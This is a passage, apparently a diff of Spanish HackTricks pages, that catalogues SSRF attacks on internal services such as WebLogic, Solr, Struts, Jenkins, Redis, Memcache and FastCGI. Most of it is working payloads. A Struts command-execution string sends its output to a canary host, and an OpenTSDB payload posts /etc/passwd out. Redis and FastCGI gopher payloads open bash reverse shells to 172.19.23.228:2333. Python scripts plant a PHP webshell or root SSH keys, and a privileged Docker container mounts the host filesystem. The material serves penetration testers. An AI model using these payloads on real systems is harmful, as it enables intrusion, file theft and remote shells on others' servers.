<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
|
||||
```
|
||||
**SSRF Canary: CVE-2020-14883**
|
||||
|
||||
Tomado de [aquí](https://forum.90sec.com/t/topic/1412).
|
||||
|
||||
Linux:
|
||||
```http
|
||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: vulnerablehost:7001
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 117
|
||||
|
||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
||||
```
|
||||
Windows:
|
||||
```http
|
||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: vulnerablehost:7001
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 117
|
||||
|
||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
||||
```
|
||||
## Hashicorp Consul
|
||||
|
||||
**Puertos comúnmente asignados: 8500, 8501 (SSL)**
|
||||
|
||||
Puedes encontrar el artículo [aquí](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
|
||||
|
||||
## Shellshock
|
||||
|
||||
**Puertos comúnmente asignados: 80, 443 (SSL), 8080**
|
||||
|
||||
Para probar efectivamente Shellshock, puede ser necesario agregar un encabezado que contenga el payload. Los siguientes caminos CGI son recomendables para probar:
|
||||
|
||||
Lista corta de caminos CGI para probar:
|
||||
|
||||
[Gist con los caminos](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
|
||||
|
||||
**SSRF Canary: Shellshock a través de User Agent**
|
||||
```bash
|
||||
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
|
||||
```
|
||||
## Apache Druid
|
||||
|
||||
**Puertos comúnmente asignados: 80, 8080, 8888, 8082**
|
||||
|
||||
Consulta la referencia de la API para Apache Druid [aquí](https://druid.apache.org/docs/latest/operations/api-reference.html).
|
||||
|
||||
Si puedes ver el código de estado, verifica las siguientes rutas para ver si devuelven un código de estado 200:
|
||||
```bash
|
||||
/status/selfDiscovered/status
|
||||
/druid/coordinator/v1/leader
|
||||
/druid/coordinator/v1/metadata/datasources
|
||||
/druid/indexer/v1/taskStatus
|
||||
```
|
||||
Tareas de apagado, requiere que adivines los ID de tareas o el nombre del origen de datos:
|
||||
```bash
|
||||
/druid/indexer/v1/task/{taskId}/shutdown
|
||||
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
|
||||
```
|
||||
Supervisores de apagado en Apache Druid Overlords:
|
||||
```bash
|
||||
/druid/indexer/v1/supervisor/terminateAll
|
||||
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
|
||||
```
|
||||
## Apache Solr
|
||||
|
||||
**Puerto comúnmente utilizado: 8983**
|
||||
|
||||
**SSRF Canary: Parámetro Shards**
|
||||
|
||||
> Para añadir a lo que shubham está diciendo - escanear solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar que estás impactando una instancia de solr a ciegas.
|
||||
>
|
||||
> — Хавиж Наффи 🥕 (@nnwakelam) [13 de enero de 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw)
|
||||
|
||||
Tomado de [aquí](https://github.com/veracode-research/solr-injection).
|
||||
```bash
|
||||
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
|
||||
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
|
||||
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
|
||||
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
|
||||
```
|
||||
**SSRF Canary: Solr XXE (2017)**
|
||||
|
||||
[Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html)
|
||||
```bash
|
||||
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
|
||||
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
|
||||
```
|
||||
**RCE a través de dataImportHandler**
|
||||
|
||||
[Investigación sobre RCE a través de dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
|
||||
|
||||
## PeopleSoft
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL)**
|
||||
|
||||
Tomado de esta investigación [aquí](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
|
||||
|
||||
**SSRF Canary: XXE #1**
|
||||
```http
|
||||
POST /PSIGW/HttpListeningConnector HTTP/1.1
|
||||
Host: website.com
|
||||
Content-Type: application/xml
|
||||
...
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE IBRequest [
|
||||
<!ENTITY x SYSTEM "http://SSRF_CANARY">
|
||||
]>
|
||||
<IBRequest>
|
||||
<ExternalOperationName>&x;</ExternalOperationName>
|
||||
<OperationType/>
|
||||
<From><RequestingNode/>
|
||||
<Password/>
|
||||
<OrigUser/>
|
||||
<OrigNode/>
|
||||
<OrigProcess/>
|
||||
<OrigTimeStamp/>
|
||||
</From>
|
||||
<To>
|
||||
<FinalDestination/>
|
||||
<DestinationNode/>
|
||||
<SubChannel/>
|
||||
</To>
|
||||
<ContentSections>
|
||||
<ContentSection>
|
||||
<NonRepudiation/>
|
||||
<MessageVersion/>
|
||||
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
|
||||
</Data>
|
||||
</ContentSection>
|
||||
</ContentSections>
|
||||
</IBRequest>
|
||||
```
|
||||
**SSRF Canary: XXE #2**
|
||||
```http
|
||||
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
|
||||
Host: website.com
|
||||
Content-Type: application/xml
|
||||
...
|
||||
|
||||
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
|
||||
```
|
||||
## Apache Struts
|
||||
|
||||
**Puertos comunes: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
||||
|
||||
**SSRF Canary: Struts2-016**:
|
||||
|
||||
Añade esto al final de cada punto final/interno URL que conozcas:
|
||||
```http
|
||||
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
|
||||
```
|
||||
## JBoss
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
||||
|
||||
**SSRF Canary: Desplegar WAR desde URL**
|
||||
```bash
|
||||
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
|
||||
```
|
||||
## Confluence
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
**SSRF Canary: Sharelinks (versiones de Confluence lanzadas desde noviembre de 2016 y anteriores)**
|
||||
```bash
|
||||
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
|
||||
```
|
||||
**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**
|
||||
|
||||
[Ticket de Seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
## Jira
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
|
||||
|
||||
[Ticket de Seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**
|
||||
|
||||
[Ticket de Seguridad de Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
|
||||
```bash
|
||||
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
|
||||
```
|
||||
## Otros Productos de Atlassian
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
|
||||
|
||||
* Bamboo < 6.0.0
|
||||
* Bitbucket < 4.14.4
|
||||
* Crowd < 2.11.2
|
||||
* Crucible < 4.3.2
|
||||
* Fisheye < 4.3.2
|
||||
|
||||
[Ticket de Seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
## OpenTSDB
|
||||
|
||||
**Puerto comúnmente utilizado: 4242**
|
||||
|
||||
[OpenTSDB Ejecución Remota de Código](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
|
||||
|
||||
**SSRF Canary: curl vía RCE**
|
||||
```bash
|
||||
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
|
||||
```
|
||||
[OpenTSDB 2.4.0 Ejecución de Código Remoto](https://github.com/OpenTSDB/opentsdb/issues/2051)
|
||||
|
||||
**SSRF Canary: curl vía RCE - CVE-2020-35476**
|
||||
```bash
|
||||
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
|
||||
```
|
||||
## Jenkins
|
||||
|
||||
**Puertos comunes: 80,443 (SSL),8080,8888**
|
||||
|
||||
Gran artículo [aquí](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
|
||||
|
||||
**SSRF Canary: CVE-2018-1000600**
|
||||
```bash
|
||||
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
|
||||
```
|
||||
**RCE**
|
||||
|
||||
Sigue las instrucciones aquí para lograr RCE a través de GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
|
||||
```bash
|
||||
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
|
||||
```
|
||||
**RCE a través de Groovy**
|
||||
```
|
||||
cmd = 'curl burp_collab'
|
||||
pay = 'public class x {public x(){"%s".execute()}}' % cmd
|
||||
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
|
||||
```
|
||||
## Tablero Hystrix
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080**
|
||||
|
||||
Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.
|
||||
|
||||
**SSRF Canary: CVE-2020-5412**
|
||||
```bash
|
||||
/proxy.stream?origin=http://SSRF_CANARY/
|
||||
```
|
||||
## W3 Total Cache
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL)**
|
||||
|
||||
W3 Total Cache 0.9.2.6-0.9.3
|
||||
|
||||
**SSRF Canary: CVE-2019-6715**
|
||||
|
||||
Esto necesita ser una solicitud PUT:
|
||||
```bash
|
||||
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: */*
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
|
||||
Content-Length: 124
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
|
||||
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
|
||||
```
|
||||
**SSRF Canary**
|
||||
|
||||
El aviso para esta vulnerabilidad se publicó aquí: [Vulnerabilidad SSRF de W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
|
||||
|
||||
Este código PHP generará un payload para tu host SSRF Canary (reemplaza `url` con tu host canary):
|
||||
```php
|
||||
<?php
|
||||
|
||||
$url='http://www.google.com';
|
||||
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
|
||||
$file=chop($file,'=');
|
||||
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
|
||||
echo($req);
|
||||
|
||||
?>
|
||||
```
|
||||
## Docker
|
||||
|
||||
**Puertos comúnmente asignados: 2375, 2376 (SSL)**
|
||||
|
||||
Si tienes un SSRF parcialmente ciego, puedes usar las siguientes rutas para verificar la presencia de la API de Docker:
|
||||
```bash
|
||||
/containers/json
|
||||
/secrets
|
||||
/services
|
||||
```
|
||||
**Ejecución de RCE a través de una imagen docker arbitraria**
|
||||
```http
|
||||
POST /containers/create?name=test HTTP/1.1
|
||||
Host: website.com
|
||||
Content-Type: application/json
|
||||
...
|
||||
|
||||
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
|
||||
```
|
||||
Reemplace alpine con una imagen arbitraria que desee que ejecute el contenedor de docker.
|
||||
|
||||
## Gitlab Prometheus Redis Exporter
|
||||
|
||||
**Puertos comúnmente vinculados: 9121**
|
||||
|
||||
Esta vulnerabilidad afecta a instancias de Gitlab antes de la versión 13.1.1. Según la [documentación de Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus y sus exportadores están activados por defecto, a partir de GitLab 9.0.`
|
||||
|
||||
Estos exportadores proporcionan un excelente método para que un atacante pivote y ataque otros servicios utilizando CVE-2020-13379. Uno de los exportadores que se explota fácilmente es el Redis Exporter.
|
||||
|
||||
El siguiente punto final permitirá a un atacante volcar todas las claves en el servidor redis proporcionadas a través del parámetro target:
|
||||
```bash
|
||||
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
|
||||
```
|
||||
***
|
||||
|
||||
**Posible vía Gopher**
|
||||
|
||||
## Redis
|
||||
|
||||
**Puerto comúnmente asignado: 6379**
|
||||
|
||||
Lectura recomendada:
|
||||
|
||||
* [Intentando hackear Redis a través de peticiones HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
|
||||
* [Explotaciones de SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
|
||||
|
||||
**RCE vía Cron** - [Superficies de Ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
||||
```bash
|
||||
redis-cli -h $1 flushall
|
||||
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
|
||||
redis-cli -h $1 config set dir /var/spool/cron/
|
||||
redis-cli -h $1 config set dbfilename root
|
||||
redis-cli -h $1 save
|
||||
```
|
||||
Gopher:
|
||||
```bash
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
||||
```
|
||||
**RCE mediante carga de Shell (PHP)** - [Resumen de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# -*-coding:utf-8-*-
|
||||
|
||||
import urllib
|
||||
protocol="gopher://"
|
||||
ip="192.168.189.208"
|
||||
port="6379"
|
||||
shell="\n\n<?php phpinfo();?>\n\n"
|
||||
filename="shell.php"
|
||||
path="/var"
|
||||
passwd=""
|
||||
|
||||
cmd=["flushall",
|
||||
"set 1 {}".format(shell.replace(" ","${IFS}")),
|
||||
"config set dir {}".format(path),
|
||||
"config set dbfilename {}".format(filename),
|
||||
"save"
|
||||
]
|
||||
if passwd:
|
||||
cmd.insert(0,"AUTH {}".format(passwd))
|
||||
payload=protocol+ip+":"+port+"/_"
|
||||
def redis_format(arr):
|
||||
CRLF="\r\n"
|
||||
redis_arr = arr.split(" ")
|
||||
cmd=""
|
||||
cmd+="*"+str(len(redis_arr))
|
||||
for x in redis_arr:
|
||||
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
|
||||
cmd+=CRLF
|
||||
return cmd
|
||||
|
||||
if __name__=="__main__":
|
||||
for x in cmd:
|
||||
payload += urllib.quote(redis_format(x))
|
||||
print payload
|
||||
```
|
||||
**RCE a través de authorized_keys** - [Resumen de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
|
||||
```python
|
||||
import urllib
|
||||
protocol="gopher://"
|
||||
ip="192.168.189.208"
|
||||
port="6379"
|
||||
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
|
||||
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
|
||||
filename="authorized_keys"
|
||||
path="/root/.ssh/"
|
||||
passwd=""
|
||||
cmd=["flushall",
|
||||
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
|
||||
"config set dir {}".format(path),
|
||||
"config set dbfilename {}".format(filename),
|
||||
"save"
|
||||
]
|
||||
if passwd:
|
||||
cmd.insert(0,"AUTH {}".format(passwd))
|
||||
payload=protocol+ip+":"+port+"/_"
|
||||
def redis_format(arr):
|
||||
CRLF="\r\n"
|
||||
redis_arr = arr.split(" ")
|
||||
cmd=""
|
||||
cmd+="*"+str(len(redis_arr))
|
||||
for x in redis_arr:
|
||||
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
|
||||
cmd+=CRLF
|
||||
return cmd
|
||||
|
||||
if __name__=="__main__":
|
||||
for x in cmd:
|
||||
payload += urllib.quote(redis_format(x))
|
||||
print payload
|
||||
```
|
||||
**RCE en GitLab a través del protocolo Git**
|
||||
|
||||
Excelente artículo de Liveoverflow [aquí](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
|
||||
|
||||
Aunque esto requería acceso autenticado a GitLab para explotar, incluyo el payload aquí ya que el protocolo `git` podría funcionar en el objetivo que estás hackeando. Este payload es para referencia.
|
||||
```bash
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
## Memcache
|
||||
|
||||
**Puerto comúnmente asignado: 11211**
|
||||
|
||||
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
|
||||
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
|
||||
* [Ejemplo de payload Gopher para Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
|
||||
```bash
|
||||
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
|
||||
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
|
||||
```
|
||||
## Apache Tomcat
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Efectivo solo contra Tomcat 6:
|
||||
|
||||
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
|
||||
|
||||
Writeup de CTF utilizando esta técnica:
|
||||
|
||||
[De XXE a RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
|
||||
|
||||
## FastCGI
|
||||
|
||||
**Puertos comúnmente asignados: 80,443 (SSL)**
|
||||
|
||||
Esto fue tomado de [aquí](https://blog.chaitin.cn/gopher-attack-surfaces/).
|
||||
```bash
|
||||
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
|
||||
```
|
||||
## Java RMI
|
||||
|
||||
**Puertos comúnmente asignados: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
|
||||
|
||||
Vulnerabilidades de _SSRF_ ciegas que permiten bytes arbitrarios (_basados en gopher_) pueden ser utilizadas para realizar ataques de deserialización o de base de código en los componentes predeterminados de _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Un artículo detallado se puede encontrar [aquí](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). La siguiente lista muestra un ejemplo para la generación del payload:
|
||||
```
|
||||
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
|
||||
[+] Creating ysoserial payload... done.
|
||||
[+]
|
||||
[+] Attempting deserialization attack on RMI Registry endpoint...
|
||||
[+]
|
||||
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
|
|
@ -1,54 +1,54 @@
|
|||
# Longitud máxima de URL - Lado del cliente
|
||||
# Longitud Máxima de URL - Lado del Cliente
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
